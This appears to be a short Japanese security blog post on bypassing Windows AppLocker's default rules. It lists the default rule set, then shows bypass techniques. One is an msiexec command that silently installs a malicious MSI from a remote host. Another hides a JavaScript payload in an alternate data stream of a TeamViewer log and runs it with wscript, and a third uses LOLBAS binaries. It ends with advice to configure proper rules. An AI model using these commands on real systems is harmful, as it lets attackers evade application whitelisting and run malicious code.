#151 AppLocker Bypass
AppLockerは、Windowsの管理機能で、許可されたファイルやスクリプトのみ実行できるように制限します。管理者以外が無用なことをしないようにするのが目的ですが、適切なルールが設定されていると攻撃者にとってもやっかいです。
しかし、デフォルトルールなどの甘い設定ならバイパスする方法は数多あります。
デフォルトルールのバイパス
AppLockerでは、実行ファイル、インストーラー、スクリプト、UWPアプリ、DLLのルールをそれぞれ設定できます。
デフォルトルール
実行ファイル
(Allow Everyone) All files located in the Program Files folder
(Allow Everyone) All files located in the Windows folder
(Allow BUILTIN\Administrators) All files
インストーラー
(Allow Everyone) All digitally signed Windows Installer files
(Allow Everyone) All Windows Installer files in %systemdrive%\Windows\Installer
(Allow BUILTIN\Administrators) All Windows Installer files
スクリプト
(Allow Everyone) All scripts located in the Program Files folder
(Allow Everyone) All scripts located in the Windows folder
(Allow BUILTIN\Administrators) All scripts
UWPアプリ
(Allow Everyone) All signed packaged apps
DLL
(Allow Everyone) Microsoft Windows DLLs
(Allow Everyone) All DLLs located in the Program Files folder
(Allow BUILTIN\Administrators) All DLLs
実行ファイル
このルールでは、C:\Program FilesやC:\Windows以下のファイルであれば実行できます。この中で、書き込み可能なフォルダを見つければ好きなファイルを保存して実行できます。
インストーラー
正規のバイナリを経由してインストールすることでバイパスできます。
msiexec /q/i http://192.168.1.1/mal.msi
スクリプト
基本的には、実行ファイルの場合と同じです、ただし、書き込み可能なファイルがあれば、Alternative Data Streamを使ってバイパスできます。
type payload.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:payload.js"
wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:payload.js"
LOLBAS
AppLockerで制限されていない、正規のバイナリを使うことで簡単にバイパスできます。例えば、PythonやJavaのような言語がインストールされていれば、かなり自由にスクリプトの実行ができるでしょう。ちなみに、Office系も正規の実行ファイルなので、VBAも好きに実行できます。
また、Windowsにもともとインストールされているユーティリティをうまく使って目的を達成する方法もかなり研究されています。
まとめ
AppLockerは追加の防御レイヤーになりますが、適切なルールが設定されていなければ、簡単にバイパスできます。利便性も考えたうえで、適切なルールとは?というのが難しいところではありますが。
EOF